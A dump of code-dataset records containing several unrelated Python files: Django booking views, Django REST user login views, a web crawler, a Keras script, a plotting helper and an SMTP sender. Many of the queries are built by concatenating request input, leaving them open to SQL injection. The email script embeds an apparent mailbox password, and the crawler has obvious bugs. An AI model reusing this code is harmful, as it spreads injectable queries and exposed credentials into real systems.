\"sparespace\")\r\n q = \"select * from rooms where roomid='\"+str(roomid)+\"'\"\r\n print(roomid)\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result = cr.fetchone()\r\n tariffsingle = result[6]\r\n tariffdouble = result[7]\r\n extra = result[8]\r\n tsperday=tariffsingle/30\r\n print(tsperday)\r\n tdperday=tariffdouble/30\r\n texperday=extra/30\r\n from datetime import date\r\n print(checkout,checkin)\r\n c1=str(checkin).split(\"-\")\r\n c2=str(checkout).split(\"-\")\r\n d0 = date((int)(c1[0]),(int)(c1[1]),(int)(c1[2]))\r\n d1 = date((int)(c2[0]),(int)(c2[1]),(int)(c2[2]))\r\n delta = d1 - d0\r\n print('no of days ',delta)\r\n total=0\r\n nd = str(delta).split(\" \")\r\n totaldays=(int)(nd[0])\r\n if person =='single':\r\n total = ((float)(tsperday) +((int)(extraperson)*(float)(texperday)))*((int)(totaldays))\r\n total=round(total)\r\n elif person=='double':\r\n total = ((float)(tdperday) +((int)(extraperson)*(float)(texperday)))*((int)(totaldays))\r\n total=round(total)\r\n # elif person=='single' and totaldays>=30:\r\n # total=((float)(tariffsingle) +((int)(extraperson)*(float)(extra)))*((int)(totaldays-30))\r\n # elif person=='double' and totaldays>=30:\r\n # total=((float)(tariffdouble) +((int)(extraperson)*(float)(extra)))*((int)(totaldays-30))\r\n d={\"roomid\":roomid,\"person\":person,\"extrap\":extraperson,\"checkin\":checkin,\"checkout\":checkout,\"charges\":total}\r\n return JsonResponse(d,safe=False)\r\n\r\n@csrf_exempt\r\ndef checkout1(request):\r\n checkin = request.POST['checkin']\r\n roomid = request.POST['roomid']\r\n checkout = request.POST['checkout']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from booking where roomid='\" + str(roomid) + \"' and (checkin and checkout between '\" + str(\r\n checkin) + \"' and '\" + str(checkout) + \"')\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n if result:\r\n return JsonResponse(\"fail\")\r\n else:\r\n q = \"select * from rooms where roomid='\" + str(roomid) + \"'\"\r\n cr = conn.cursor()\r\n cr.execute(q)\r\n result = cr.fetchone()\r\n tariffsingle = result[6]\r\n tsperday = tariffsingle / 30\r\n from datetime import date\r\n print(checkout, checkin)\r\n c1 = str(checkin).split(\"-\")\r\n c2 = str(checkout).split(\"-\")\r\n d0 = date((int)(c1[0]), (int)(c1[1]), (int)(c1[2]))\r\n d1 = date((int)(c2[0]), (int)(c2[1]), (int)(c2[2]))\r\n delta = d1 - d0\r\n print('no of days ', delta)\r\n total = 0\r\n nd = str(delta).split(\" \")\r\n totaldays = (int)(nd[0])\r\n total=total+(float(tsperday))*((int)(totaldays))\r\n total1=round(total)\r\n d = {\"roomid\": roomid, \"person\": \"single\", \"extrap\": \"0\", \"checkin\": checkin, \"checkout\": checkout,\r\n \"charges\": total1}\r\n return JsonResponse(d, safe=False)\r\n\r\ndef proceedtopayment(request):\r\n rid=request.GET['rid']\r\n persons=request.GET['p']\r\n experson=request.GET['ex']\r\n ckin=request.GET['cin']\r\n ckout=request.GET['cout']\r\n total=request.GET['total']\r\n print(total)\r\n hostid=request.GET['hid']\r\n s=str(total).split(\".\")\r\n print(s)\r\n ts=(float)(s[0])*100\r\n d={\"rid\":rid,\"persons\":persons,\"extra\":experson,\"checkin\":ckin,\"checkout\":ckout,\"total\":total,\"ts\":ts,\"hid\":hostid}\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from rooms where roomid='\"+rid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n row=cr.fetchone()\r\n d1={\"roomname\":row[1],\"area\":row[2],\"description\":row[3],\"coverphoto\":row[4],\"hid\":row[5]}\r\n # print(d1)\r\n q=\"select * from user where email='\"+request.session['useremail']+\"'\"\r\n cr.execute(q)\r\n row1=cr.fetchone()\r\n d2={\"mobile\":row1[0],\"email\":row1[1],\"name\":row1[3],\"address\":row1[4]}\r\n return render(request,\"proceedtopayment.html\",{\"ar\":d,\"ar1\":d1,\"ar2\":d2})\r\n\r\n\r\ndef proceedtopayment1(request):\r\n rid=request.GET['rid']\r\n ckin=request.GET['cin']\r\n ckout=request.GET['cout']\r\n total=request.GET['total']\r\n hostid = request.GET['hid']\r\n s=str(total).split(\".\")\r\n ts=(float)(s[0])*100\r\n d={\"rid\":rid,\"checkin\":ckin,\"checkout\":ckout,\"total\":total,\"ts\":ts,\"hid\":hostid}\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from rooms where roomid='\"+rid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n row=cr.fetchone()\r\n d1={\"roomname\":row[1],\"area\":row[2],\"description\":row[3],\"coverphoto\":row[4],\"hid\":row[5],\"tariffsingle\": row[6], \"tariffdouble\": row[7], \"extraperson\": row[8], \"rating\": row[9],\r\n \"count\": row[10], \"category\": row[11]}\r\n # print(d1)\r\n q = \"select * from user where email='\" + request.session['useremail'] + \"'\"\r\n cr.execute(q)\r\n row1 = cr.fetchone()\r\n d2 = {\"mobile\": row1[0], \"email\": row1[1], \"name\": row1[3], \"address\": row1[4]}\r\n return render(request,\"proceedtopayment1.html\",{\"ar\":d,\"ar1\":d1,\"ar2\":d2})\r\n\r\n@csrf_exempt\r\ndef userbooking(request):\r\n dateofbooking = date.today()\r\n roomid = request.POST['roomid']\r\n tariff = request.POST['persons']\r\n extraperson = request.POST['extraperson']\r\n checkin = request.POST['checkin']\r\n chkout = request.POST['checkout']\r\n bookeremail=request.POST['email']\r\n bookeraddress=request.POST['address']\r\n bookermobile=request.POST['mobile']\r\n hostid=request.POST['hostid']\r\n total=request.POST['total']\r\n print(total)\r\n paymentmode = request.POST['paymentmode']\r\n paymentstatus = \"success\"\r\n if paymentmode == \"Cash\":\r\n total = 0.0\r\n paymentstatus = \"pending\"\r\n conn = Connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n q = f\"insert into booking values(NULL,'{roomid}','{tariff}','{extraperson}','{checkin}','{chkout}','{bookeremail}','{bookeraddress}','{bookermobile}','{hostid}','{total}','{dateofbooking}','{paymentmode}','{paymentstatus}','pending')\"\r\n print(q)\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n bookingid = cr.lastrowid\r\n conn.commit()\r\n msg = \"Your booking is successfully Done!!\"\r\n return JsonResponse({\"bookingid\": bookingid}, safe=False)\r\n\r\ndef thankspage(request):\r\n bookingid = request.GET[\"bookingid\"]\r\n amount = request.GET[\"amount\"]\r\n status = request.GET[\"status\"]\r\n return render(request,\"thankspage.html\",{\"amount\":amount,\"bookingid\":bookingid,\"status\":status})","sub_path":"DJango_project/SpareSpace/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":37296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"341009663","text":"# -*- coding:utf-8 -*-\nfrom app.models import WxNotifyTemplate\n\nLINK_COLOR = '#173177'\nNORMAL_COLOR = '#000000'\nFAILED_COLOR = '#DC143C'\nYOOQUN_COLOR = '#E75D29'\n\n\nclass WxTempNotifierBase:\n def __init__(self, session, wechat_service):\n self.session = session\n self.wechat_service = wechat_service\n\n def get_temp(self, code):\n return self.session.query(WxNotifyTemplate).filter_by(code=code).first()\n\n def send_notification(self, to_openid, template, data, url=None):\n try:\n self.wechat_service.message.send_template(to_openid, template.template_id, data, url)\n except Exception as e:\n print(e)\n","sub_path":"app/services/wechat_notifier/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"277864107","text":"import uuid\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import GenericViewSet\n\nfrom clubs.models import Club\nfrom clubs.models import Institute\nfrom clubs.serializers import InstituteSerializer\nfrom users.models import User\nfrom users.models import Token\nfrom users.serializers import UserSerializer\nfrom utils import restful_status\nfrom clubs.serializers import ClubSerializer\n\n\nclass RegisterView(APIView):\n\n authentication_classes = []\n\n def post(self, request, *args, **kwargs):\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS,\n 'msg': ''\n }\n username = request.data.get('username')\n # 用户名已经存在\n if User.objects.filter(username=username).count():\n ret_data['status'] = restful_status.STATUS_ERROR\n ret_data['msg'] = username + ' 用户名已经存在'\n return Response(ret_data)\n # password is md5 code\n password = request.data.get('password')\n nickname = request.data.get('nickname')\n mobile = request.data.get('mobile')\n admission_time = request.data.get('admission_time')\n is_admin = False\n institute_id = request.data.get('institute_id')\n # 注册用户名\n user = User.objects.create(username=username, password=password,\n nickname=nickname, is_admin=is_admin, institute_id=institute_id,\n mobile=mobile, admission_time=admission_time)\n ret_data['msg'] = username + ' 注册成功'\n return Response(ret_data)\n\n\nclass LoginView(APIView):\n \"\"\"用户登录 View\n\n Notes\n -----\n 拦截用户的登录 POST 请求, 进行登录\n \"\"\"\n\n # 用户登录不需要认证\n authentication_classes = []\n\n def post(self, request, *args, **kwargs):\n \"\"\"POST 请求\n\n Parameters\n ----------\n request : DRF Request 对象\n\n Returns\n -------\n ret_data : DRF Response\n \"\"\"\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS,\n 'msg': ''\n }\n\n username = request.data.get('username')\n password = request.data.get('password')\n user = User.objects.filter(username=username, password=password).values('id', 'username')\n if user.count():\n user = user.first()\n token = uuid.uuid4()\n Token.objects.update_or_create(user_id=user.get('id'),\n defaults={'user_id': user.get('id'), 'token': token})\n ret_data['msg'] = '登录成功'\n ret_data['username'] = username\n ret_data['userId'] = user.get('id')\n ret_data['token'] = token\n return Response(ret_data)\n ret_data['status'] = restful_status.STATUS_ERROR\n ret_data['msg'] = '用户名或者密码错误'\n return Response(ret_data)\n\n\nclass UserViewSet(GenericViewSet):\n\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n def list(self, request, *args, **kwargs):\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS\n }\n club_id = request.query_params.get('clubId')\n club = Club.objects.filter(id=club_id).first()\n users = User.objects.filter(clubs=club)\n ret_data['users'] = self.serializer_class(users, many=True).data\n return Response(ret_data)\n\n def retrieve(self, request, *args, **kwargs):\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS\n }\n user_id = request.META.get('PATH_INFO').split('/')[-2]\n queryset = self.queryset\n token = Token.objects.filter(user_id=user_id).values('token').first()\n user = queryset.filter(id=user_id).values('id', 'username',\n 'nickname', 'mobile',\n 'introduction', 'institute_id',\n 'admission_time').first()\n institute_id = user.get('institute_id')\n institute = Institute.objects.filter(id=institute_id).first()\n institute_serializer = InstituteSerializer(institute)\n ret_data['user'] = user\n ret_data['institute'] = institute_serializer.data\n if token.get('token') == request.auth:\n # 已登录用户查看自己信息, 查询社团信息\n clubs = Club.objects.filter(user=queryset.filter(id=user_id).first())\n club_serializer = ClubSerializer(clubs, many=True)\n ret_data['clubs'] = club_serializer.data\n return Response(ret_data)\n\n def patch(self, request, *args, **kwargs):\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS\n }\n user_id = request.META.get('PATH_INFO').split('/')[-2]\n token = Token.objects.filter(user_id=user_id).values('token').first()\n if not token:\n ret_data['status'] = restful_status.STATUS_ERROR\n ret_data['msg'] = '非法携带 token'\n return Response(ret_data)\n if token.get('token') == request.auth:\n user = User.objects.filter(id=user_id).update(**request.data['dict'])\n else:\n ret_data['status'] = restful_status.STATUS_ERROR\n ret_data['msg'] = '非法操作'\n return Response(ret_data)\n\n def delete(self, request, *args, **kwargs):\n ret_data = {\n 'status': restful_status.STATUS_SUCCESS\n }\n user_id = request.META.get('PATH_INFO').split('/')[-2]\n token = Token.objects.filter(user_id=user_id).first()\n if token.token == request.auth:\n token.delete()\n else:\n ret_data['status'] = restful_status.STATUS_ERROR\n ret_data['msg'] = '非法退出'\n return Response(ret_data)","sub_path":"apps/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"305035647","text":"#!/usr/bin/env python\r\nimport requests\r\nimport urllib\r\nfrom urllib.request import urlopen\r\nfrom link_finder import LinkFinder\r\nfrom general import *\r\n\r\nclass Spider:\r\n # class variable which is shared among all instances\r\n project_name=''\r\n base_url=''\r\n domain_name=''\r\n queue_file=''\r\n crawled_file=''\r\n queue=set()\r\n crawled=set()\r\n def __init__(self,project_name,base_url):\r\n Spider.projct_name=project_name\r\n Spider.base_url=base_url\r\n Spider.domain_name=domain_name\r\n Spider.queue_file=Spider.projct_name + '/queue.txt'\r\n Spider.crawled=Spider.projct_name + '/crawled.txt'\r\n self.boot()\r\n self.crawled_page('First Spider',Spider.base_url)\r\n @staticmethod\r\n def boot():\r\n create_project_dir(Spider.project_name)\r\n create_data_files(Spider.projct_name, Spider.base_url)\r\n Spider.queue=file_to_set(Spider.crawled_file)\r\n \r\n @staticmethod\r\n def crawled_page(thread_name, page_url):\r\n if page_url not in Spider.crawled:\r\n print(thread_name +'crawling' + page_url)\r\n print('Queue' + str(len(Spider.queue) + '| Crawled' + str(len(Spider.crawled))))\r\n Spider.add_links_to_queue(Spider.gather_link(page_url))\r\n Spider.queue.remove(page_url)\r\n Spider.crawled.add(page_url)\r\n Spider.update_files()\r\n \r\n @staticmethod\r\n def gather_links(page_url):\r\n html_string=''\r\n # anytime we are working with networking type of stuff we always put it in try except stuff\r\n try:\r\n response = urlopen(page_url) # helps to connect to web page\r\n if response.getheader('Content-Type')=='text/html':\r\n html_bytes=response.read()\r\n html_string=html_bytes.decode('utf-8')\r\n finder=LinkFinder(Spider.base_url,page_url)\r\n finder.feed(html_string)\r\n except:\r\n print(\" Error !! Cannot crawl page\")\r\n return set()\r\n return finder.page_links()\r\n ","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"552906031","text":"import sys\nassert sys.version_info >= (3, 5)\n\nimport sklearn\nassert sklearn.__version__ >= \"0.20\"\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\ndef generate_time_series(batch_size, n_steps):\n freq1, freq2, offsets1, offsets2 = np.random.rand(4, batch_size, 1)\n time = np.linspace(0, 1, n_steps)\n series = 0.5 * np.sin((time - offsets1) * (freq1 * 10 + 10)) # wave 1\n series += 0.2 * np.sin((time - offsets2) * (freq2 * 20 + 20)) # + wave 2\n series += 0.1 * (np.random.rand(batch_size, n_steps) - 0.5) # + noise\n return series[..., np.newaxis].astype(np.float32)\n\nn_steps = 50\nseries = generate_time_series(10000, n_steps + 1)\nX_train, y_train = series[:7000, :n_steps], series[:7000, -1]\nX_valid, y_valid = series[7000:9000, :n_steps], series[7000:9000, -1]\nX_test, y_test = series[9000:, :n_steps], series[9000:, -1]\n\nmodel = keras.models.Sequential([\n keras.layers.Flatten(input_shape=[50, 1]),\n keras.layers.Dense(1)\n])\n\n\n#determine number of epochs\nno_epochs = 20\n\n#set error and optimizer\nmodel.compile(loss=\"mse\", optimizer=\"adam\")\n\nhistory = model.fit(X_train, y_train, epochs=no_epochs, validation_data=(X_valid, y_valid))\nevalu = model.evaluate(X_valid, y_valid)\nprint(history)\nprint(evalu)\nprint(model.metrics_names, evalu)\n","sub_path":"linearRegression.py","file_name":"linearRegression.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"570031897","text":"import matplotlib.pyplot as plt\nfrom sklearn.metrics.regression import r2_score\n\n\ndef plotScatterPlot(actual, predicted, outFileName):\n 'Make a scatter plot showing the predicted vs actual activation energy for each reaction'\n plt.scatter(actual, predicted, s=7, color='#4b9da6')\n axes = plt.gca()\n\n # make plot square with equal x and y axes\n bounds = [min(list(actual) + list(predicted) + [0])-1, max(list(actual) + list(predicted))+1]\n plt.axis(bounds * 2)\n axes.set_aspect('equal', adjustable='box')\n\n # plot the identity for visual reference (10% darker than data)\n plt.plot([bounds[0], bounds[1]], [bounds[0], bounds[1]], color='#d95d41')\n\n rSquared = r2_score(actual, predicted)\n print(rSquared)\n plt.figtext(0.6,0.15,'$R^2 = $'+format(rSquared,'.4f'), fontsize=11)\n plt.xlabel('QM Calculated Hydricity (kcal/mol)', fontsize=10)\n plt.ylabel('Model Predicted Hydricity (kcal/mol)', fontsize=10)\n plt.title('Model Predicted vs. QM Calculated Hydricity', fontsize=12)\n plt.tight_layout()\n plt.savefig(str(outFileName) + '.png')\n plt.clf()\n","sub_path":"Python/scatterPlot_hydricitybest.py","file_name":"scatterPlot_hydricitybest.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"163723312","text":"# Import smtplib for the actual sending function\nimport sys\nimport getopt\nimport smtplib\n\nsender = 'congxv@rayootech.com'\n# If there are more than one receiver, you need to ganerate a list. \n# receiver = ['a@xxxx','b@xxxx']\nreceiver = ['congxv@rayootech.com'] \nserver = 'smtp.qiye.163.com'\nport = '25'\npwd = 'xucong(5493177)'\n\nCOMMASPACE = ', '\n\n# Import the email modules we'll need\nfrom email.mime.text import MIMEText\n\ndef usage():\n usageStr = '''Usage: SendEmail -c mail_content'''\n #print usageStr\n\ndef main(argv):\n # Get the Email content in the \"-c\" argv\n try:\n opts, args = getopt.getopt(argv, \"c:\")\n except getopt.GetoptError:\n usage()\n sys.exit(2)\n\n content = ''\n\n for opt, arg in opts:\n if opt == '-c':\n content = arg\n\n #print content\n\n msg = MIMEText(content)\n \n msg['Subject'] = 'this is the subject'\n msg['From'] = sender\n msg['To'] = COMMASPACE.join(receiver)\n \n s = smtplib.SMTP(server, port)\n s.ehlo()\n s.login(sender, pwd)\n s.sendmail(sender, receiver, msg.as_string())\n s.quit()\n\nif __name__==\"__main__\":\n main(sys.argv[1:])\n\n","sub_path":"Python/testSendEmail.py","file_name":"testSendEmail.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"169465553","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nfunction: realize gru by pytorch with nn.Module\r\n\"\"\"\r\n\r\nimport sys\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nsys.path.append(\"../d2l_func/\")\r\nfrom data_prepare import load_data_jay_song, data_iter_random, data_iter_consecutive, to_onehot\r\nfrom model_train import train_rnn_pytorch\r\n\r\n\r\nclass RNNModel(nn.Module):\r\n def __init__(self, rnn_layer, vocab_size):\r\n super(RNNModel, self).__init__()\r\n self.rnn = rnn_layer\r\n self.hidden_num = self.rnn.hidden_size * (2 if self.rnn.bidirectional else 1)\r\n self.vocab_size = vocab_size\r\n self.fc = nn.Linear(hidden_num, vocab_size)\r\n self.h_state = None\r\n\r\n def forward(self, x, h_state):\r\n # x.shape is (num_step, batch_size, vocab_size)\r\n y, self.h_state = self.rnn(x, h_state)\r\n return self.fc(y), self.h_state\r\n\r\n\r\ndef predict_rnn_pytorch(prefix, pred_num, model, char_to_idx, vocab_set, vocab_size, device):\r\n outputs = [char_to_idx[prefix[0]]]\r\n h_state = None\r\n\r\n for i in range(len(prefix) + pred_num - 1):\r\n inputs = to_onehot(torch.tensor(outputs[-1]).view(-1, 1), vocab_size, device)\r\n if h_state is not None:\r\n if isinstance(h_state, tuple): # lstm , (h,c)\r\n h_state = (h_state[0].to(device), h_state[1].to(device))\r\n else:\r\n h_state = h_state.to(device)\r\n\r\n y, h_state = model(inputs, h_state)\r\n if i + 1 < len(prefix):\r\n outputs.append(char_to_idx[prefix[i + 1]])\r\n else:\r\n outputs.append(y.argmax(dim=2).item())\r\n\r\n return \"\".join(vocab_set[i] for i in outputs)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # load data\r\n corpus_index, char_to_idx, vocab_set, vocab_size = load_data_jay_song()\r\n # model\r\n hidden_num = 256\r\n rnn_layer = nn.GRU(vocab_size, hidden_num)\r\n model = RNNModel(rnn_layer, vocab_size)\r\n model = model.cuda()\r\n loss = nn.CrossEntropyLoss()\r\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\r\n\r\n params = {\r\n \"epoch_num\": 10,\r\n \"model\": model,\r\n \"loss\": loss,\r\n \"optimizer\": optimizer,\r\n \"batch_size\": 64,\r\n \"num_step\": 32,\r\n \"corpus_index\": corpus_index,\r\n \"data_iter\": data_iter_consecutive,\r\n \"char_to_idx\": char_to_idx,\r\n \"vocab_set\": vocab_set,\r\n \"vocab_size\": vocab_size,\r\n \"predict_rnn_pytorch\": predict_rnn_pytorch,\r\n \"pred_num\": 50,\r\n \"prefixs\": [\"分开\", \"不分开\"],\r\n \"random_sample\": False\r\n }\r\n\r\n params[\"batch_num\"] = len(list(data_iter_consecutive(corpus_index, params[\"batch_size\"],\r\n params[\"num_step\"], \"cpu\")))\r\n\r\n train_rnn_pytorch(**params)\r\n","sub_path":"7.RNNs/gru_pytorch_sample.py","file_name":"gru_pytorch_sample.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"583084255","text":"# -- coding: utf-8 --\n\n# Copyright 2018 Olivier Scholder \n\nfrom PyQt5.QtCore import QSize\nfrom PyQt5.QtWidgets import QWidget, QVBoxLayout, QSizePolicy\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\nfrom matplotlib.figure import Figure\n\n\nclass MplCanvas(FigureCanvas):\n def __init__(self):\n self.fig = Figure()\n FigureCanvas.__init__(self, self.fig)\n FigureCanvas.setSizePolicy(self,\n QSizePolicy.Expanding,\n QSizePolicy.Expanding)\n FigureCanvas.updateGeometry(self)\n\n def sizeHint(self):\n w, h = self.get_width_height()\n return QSize(w, h)\n\n\nclass MplWidget(QWidget):\n def __init__(self, parent=None):\n QWidget.__init__(self, parent)\n self.canvas = MplCanvas()\n self.mpl_toolbar = NavigationToolbar(self.canvas, self)\n layout = QVBoxLayout()\n self.setLayout(layout)\n layout.addWidget(self.mpl_toolbar)\n layout.addWidget(self.canvas)\n","sub_path":"pySPM/mplwidget.py","file_name":"mplwidget.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"343682673","text":"#!/usr/bin/python3\n\nimport json\nimport glob\nimport pprint\n\n\ndef group_by(ds, k):\n\tret = {}\n\tfor d in ds:\n\t\tif d[k] not in ret:\n\t\t\tret[d[k]] = []\n\t\tret[d[k]].append(d)\n\treturn ret\n\n\ndef load_all():\n\tfor fn in glob.glob('*.jsons'):\n\t\tyield from load(fn)\n\n\ndef load(fn):\n\twith open(fn) as f:\n\t\tfor line in f:\n\t\t\tline = line.strip()\n\t\t\td = json.loads(line)\n\t\t\tyield d\n\n\ndef count_it(d):\n\tret = {}\n\tfor k, v in d.items():\n\t\tret[k] = {}\n\t\tfor k2, v2 in v.items():\n\t\t\tcount = len(v2)\n\t\t\tret[k][k2] = count\n\treturn ret\n\n\ndef main():\n\tby_mj = group_by(load_all(), 'mj')\n\tby_mj_k = {k: group_by(v, 'k') for k, v in by_mj.items()}\n\twith open('pulseout.txt', 'w') as f:\n\t\tpprint.pprint(by_mj_k, f)\n\tcounted = count_it(by_mj_k)\n\twith open('pulseout_count.txt', 'w') as f:\n\t\t#print(json.dumps(counted, indent=2))\n\t\tpprint.pprint(counted, f)\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pulseout.py","file_name":"pulseout.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"88887926","text":"import sys\nsys.path.append('/Users/mauroconte/Desktop/iogif/src/')\n\nimport numpy as np\nimport cv2\nimport os\nimport uuid\nimport time\n\nimport util\nfrom vector_quantization import *\n\ndef compose_h_w(module=64, n=9):\n images = list(map(lambda name: cv2.imread(f'tmp/{name}',1), os.listdir('tmp')))\n randoms = []\n if n**2-len(images)>0:\n randoms = np.random.randint(0, len(images), n**2-len(images))\n\n for index in randoms:\n images.append(images[index])\n\n for i in range(len(images)):\n images[i] = cv2.resize(images[i], (module, module), interpolation = cv2.INTER_AREA)\n\n base = np.zeros((module*n,module*n, 3),np.uint8)\n for i in range(n**2):\n r,c = i//n, i%n\n base[r*module:(r+1)*module, c*module:(c+1)*module] = images[i]\n\n cv2.imwrite(\"io9x9.png\",base)\n\ndef main():\n\n _id = uuid.uuid4()\n\n img = util.get_billie()\n\n print(\"Vector Quantization (LBG) on iamge of shape:\", img.shape)\n q, _, _ = LGB(img, 4)\n cv2.imwrite(\"out/q4.png\",q)\n\n img = cv2.imread('out/q4.png')\n os.makedirs(f'out/{_id}')\n for i in range(10):\n print(\"colormap\", i)\n img = util.colormap(img,[])\n cv2.imwrite(f'out/{_id}/{uuid.uuid4()}.png', img)\n\n util.make_gif_from_folder(f'out/{_id}')\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"422398292","text":"# https://www.geeksforgeeks.org/find-the-row-with-maximum-number-1s/\n\n# Given a boolean 2D array of n x m dimensions where each row is sorted.\n# Find the 0-based index of the first row that has the maximum number of 1's.\n\ndef rowWithMax1s(arr, n, m):\n row_index = -1\n # for i in range(m):\n # if arr[0][i] == 1:\n # row_index = 0\n # col_index = i\n # break\n # if col_index is None:\n # col_index = m-1\n col_index = m-1\n for i in range(n):\n while col_index >= 0 and arr[i][col_index] == 1:\n col_index -= 1\n row_index = i\n return row_index\n\nn1 = [0,1,1,1]\nn2 = [0,0,1,1]\nn3 = [1,1,1,1]\nn4 = [0,0,0,1]\narr =[]\narr.append(n1)\narr.append(n2)\narr.append(n3)\narr.append(n4)\nprint(rowWithMax1s(arr, 4, 4))","sub_path":"lc/max_num_of_1s.py","file_name":"max_num_of_1s.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"294061669","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport pyfirmata\nimport datetime\nimport matplotlib.animation as animation\n\nclass Motor:\n\t'Common base class for all employees'\n\tMotCount = 0\n\n\tdef __init__(self, pos, l, w):\n\t\tMotor.MotCount += 1\n\t\tself.vel = 0\n\t\tself.pos = pos\n\t\tself.l = l\n\t\tself.w = w\n\n\tdef set_vel(self, v, ang):\n\t\tang = ang*np.pi/180\n\t\ta = self.l/(np.tan(ang) + 1e-5)\n\t\tif self.pos=='der':\n\t\t\tself.vel = v*(1 + self.w/2/a)\n\t\telif self.pos=='izq':\n\t\t\tself.vel = v*(1 - self.w/2/a)\n","sub_path":"motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"460911336","text":"from flask import (\n Blueprint, g, request, session\n)\n\nfrom hermes.db import get_db\nfrom uuid import uuid4\n\nimport datetime\nimport random\n\nbp = Blueprint('queries', __name__)\n\n# Categories\ndef category_values_for_current_org():\n # SUM value of transactions for given category\n db = get_db()\n\n category_values = db.execute(\n 'SELECT'\n ' *, '\n ' CASE'\n ' WHEN sum(trans_value_net) is Null THEN 0'\n ' ELSE sum(trans_value_net)'\n ' END AS \"value\"'\n ' FROM'\n ' categories'\n ' LEFT JOIN'\n ' transactions on category_id_fk = category_id'\n ' JOIN'\n ' category_type on cat_type_id = cat_type_id_fk'\n ' WHERE'\n ' categories.org_id_fk = ?'\n ' GROUP BY'\n ' category_id'\n ' ORDER BY'\n ' cat_type_order ASC,'\n ' value DESC',\n (\n session['current_org'],\n )\n ).fetchall()\n\n return category_values\n\n\ndef get_transactions_for_category(category_id):\n db = get_db()\n\n transactions = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' transactions'\n ' JOIN'\n ' user on user_id = user_id_fk'\n ' WHERE'\n ' org_id_fk = ? and'\n ' category_id_fk = ?',\n (\n session['current_org'],\n category_id,\n )\n ).fetchall()\n\n return transactions\n\n\ndef get_all_categories_for_org():\n db = get_db()\n\n categories = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' categories'\n ' JOIN'\n ' category_type on cat_type_id = cat_type_id_fk'\n ' WHERE'\n ' org_id_fk = ?',\n (\n session['current_org'],\n )\n ).fetchall()\n\n return categories\n\n\ndef get_category_by_id(cat_id):\n db = get_db()\n\n category = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' categories'\n ' WHERE'\n ' category_id = ?',\n (\n cat_id,\n )\n ).fetchone()\n\n return category\n\n\ndef change_category_status(status_flag, cat_id):\n db = get_db()\n\n db.execute(\n 'UPDATE'\n ' categories'\n ' SET'\n ' category_enabled_flag = ?'\n ' WHERE'\n ' category_id = ?',\n (\n status_flag,\n cat_id,\n )\n )\n\n db.commit()\n\n\ndef change_org_status(org_id):\n db = get_db()\n\n org = get_org_by_id(org_id)\n\n status_flag = org['org_enabled_flag']\n\n if status_flag == 0:\n status_flag = 1\n else:\n status_flag = 0\n\n db.execute(\n 'UPDATE'\n ' organisation'\n ' SET'\n ' org_enabled_flag = ?'\n ' 